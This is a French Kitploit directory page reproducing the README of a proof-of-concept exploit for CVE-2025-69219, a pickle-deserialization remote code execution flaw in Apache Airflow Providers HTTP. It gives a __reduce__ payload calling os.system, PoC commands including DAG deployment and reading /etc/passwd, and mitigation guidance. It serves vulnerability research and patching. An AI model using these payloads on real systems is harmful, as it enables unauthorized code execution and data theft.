Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-69219 — Exploit de preuve de concept pour CVE-2025-69219, démontrant l'exécution de code à distance dans Apache Airflow Providers HTTP via une désérialisation pickle non sécurisée. Comprend des scripts PoC, une analyse technique et des conseils d'atténuation. | Kitploit
Outils/GitHubGitHub/sak110/cve-2025-69219
Analyse des VulnérabilitésExploitationArticles et RechercheApprentissage et ÉducationDéveloppement de Charges UtilesExploitation de Binaires
GitHubsak110/cve-2025-69219

CVE-2025-69219

Exploit de preuve de concept pour CVE-2025-69219, démontrant l'exécution de code à distance dans Apache Airflow Providers HTTP via une désérialisation pickle non sécurisée. Comprend des scripts PoC, une analyse technique et des conseils d'atténuation.

Voir le dépôt
731il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-69219 — Exécution de code à distance (RCE) via désérialisation Pickle non sécurisée dans Apache Airflow Providers HTTP

Sévérité : Élevée (CVSS 3.1 : 8.8) Vecteur : AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CWE : CWE-913 — Contrôle inadéquat des ressources de code gérées dynamiquement Versions concernées : apache-airflow-providers-http >= 5.1.0, < 6.0.0 Correction dans : apache-airflow-providers-http == 6.0.0 Correctif : apache/airflow#61662 · commit 97839f7


Présentation

Le fournisseur HTTP d'Apache Airflow utilisait le module pickle de Python pour sérialiser et désérialiser les réponses des déclencheurs HTTP pour les tâches différées. Le point d'entrée vulnérable dans ressemblait à ceci :

HttpOperator.execute_complete()
root@kitploit:~
# VULNÉRABLE (avant correctif) — providers/http/src/.../operators/http.py
response = pickle.loads(base64.standard_b64decode(event["response"]))

Le dictionnaire event est lu depuis la base de données d'Airflow, ce qui signifie que tout utilisateur ayant un accès en écriture à la base de données peut placer une charge utile pickle malveillante. Lorsque le processus Triggerer traite la tâche différée, il désérialise aveuglément cette charge utile, exécutant des commandes OS arbitraires avec les permissions du processus Triggerer — équivalent à un auteur de DAG.


Cause racine

pickle.loads() sur des données non fiables est une opération intrinsèquement dangereuse. Le protocole __reduce__ de pickle permet d'intégrer n'importe quel appelable Python dans l'objet sérialisé et de l'invoquer lors de la désérialisation, sans aucun sandboxing.

Le Triggerer d'Airflow sérialise la réponse HTTP au moment de la complétion et la stocke dans la base de données :

root@kitploit:~
# triggers/http.py (avant correctif)
yield TriggerEvent({
    "status": "success",
    "response": base64.standard_b64encode(pickle.dumps(response)).decode("ascii"),
})

Un attaquant au niveau de la base de données remplace cette valeur par un objet pickle fabriqué, par exemple :

root@kitploit:~
class RCEPayload:
    def __reduce__(self):
        return (os.system, ("id",))

payload = base64.b64encode(pickle.dumps(RCEPayload())).decode()

Le Triggerer appelle ensuite execute_complete → pickle.loads() → RCE.


La correction (6.0.0)

Le correctif remplace entièrement pickle par un sérialiseur JSON sûr et explicite :

root@kitploit:~
# triggers/http.py (après correctif)
yield TriggerEvent({
    "status": "success",
    "response": HttpResponseSerializer.serialize(response),  # dict JSON
})
root@kitploit:~
# HttpResponseSerializer.deserialize() — valide que l'entrée est un dict, n'exécute jamais de code
if isinstance(data, str):
    raise TypeError("Les données de réponse doivent être un dict, pas str")

Le nouveau désérialiseur ne reconstruit qu'un objet requests.Response à partir de champs connus (status_code, headers, content, etc.) — aucune exécution de code arbitraire n'est possible.


PoC

Prérequis

root@kitploit:~
# Python 3.9+ ; installer une version vulnérable
pip install "apache-airflow-providers-http>=5.1.0,<6.0.0"

Mode 1 — Simulation locale (pas besoin d'Airflow)

Reproduit l'appel vulnérable pickle.loads() dans le processus :

root@kitploit:~
python poc.py
# ou avec une commande personnalisée :
python poc.py --cmd "whoami"

Sortie exemple :

root@kitploit:~
  CVE-2025-69219 | Apache Airflow Providers HTTP < 6.0.0
  Désérialisation Pickle non sécurisée → RCE via HttpOperator
  -------------------------------------------------------

[*] Commande      : id
[*] Charge utile pickle : gASVKAAAAAAAAACMAnBvc3lzdGVtlIWUUpQu...
[*] Déclenchement de la désérialisation (simulation de execute_complete) ...

uid=1000(utilisateur) gid=1000(utilisateur) groups=1000(utilisateur)

[+] os.system a retourné : 0  (0 = succès)

Mode 2 — Déploiement complet d'un DAG (nécessite une instance Airflow en fonctionnement avec providers-http < 6.0.0)

root@kitploit:~
# Générer un DAG déployable
python poc.py --mode dag --cmd "id"

# Copier dans votre répertoire de DAGs Airflow
cp cve_2025_69219_poc_dag.py $AIRFLOW_HOME/dags/

# Déclencher depuis l'interface Airflow ou la CLI
airflow dags trigger cve_2025_69219_poc

Consultez les logs de la tâche pour la sortie de la commande.

Afficher la charge utile brute

root@kitploit:~
python poc.py --show-payload --cmd "cat /etc/passwd"

Impact

FacteurDétail
Qui peut exploiterTout utilisateur ayant un accès en écriture directe à la base de données Airflow
Contexte d'exécutionProcessus du Triggerer (mêmes permissions qu'un auteur de DAG)
ProbabilitéFaible — l'accès direct à la base de données n'est pas standard dans les déploiements bien configurés
Rayon de l'explosionRCE complète sur le nœud Triggerer : exfiltration de données, mouvement latéral, persistance

Atténuation

  1. Mettre à jour apache-airflow-providers-http vers 6.0.0 ou version ultérieure.
  2. Restreindre l'accès à la base de données — seuls les comptes de service du scheduler/webserver Airflow devraient avoir un accès en écriture à la base de données métadonnées.
  3. Avant la mise à jour, assurez-vous que toutes les tâches HTTP différées (deferrable=True) sont terminées ou supprimées, car les tâches en cours sérialisées avec pickle lèveront une TypeError après la mise à jour (changement cassant documenté dans le changelog du fournisseur).
root@kitploit:~
pip install "apache-airflow-providers-http>=6.0.0"

Chronologie

DateÉvénement
2026-03-09CVE publiée par Apache Software Foundation
2026-03-09Correctif fusionné (PR #61662, commit 97839f7)
2026-03-09Divulgué sur la liste de diffusion oss-security

Références

  • CVE-2025-69219 sur NVD
  • Avis GitHub GHSA-9r5j-7r2x-rv4g
  • PR de correctif #61662
  • Commit de correctif 97839f7
  • Divulgation oss-security

Crédits

  • skypher — découvreur
  • Shauryae1337 — découvreur
  • ahmetartuc — découvreur et auteur original du PoC (poc-cve-2025-69219)

Le PoC de ce dépôt est basé sur le travail original de @ahmetartuc.


Avertissement

Cette preuve de concept est publiée à des fins éducatives et de recherche en sécurité uniquement. Testez-la uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite. Les auteurs ne sont pas responsables de toute utilisation abusive.

Télécharger l’outil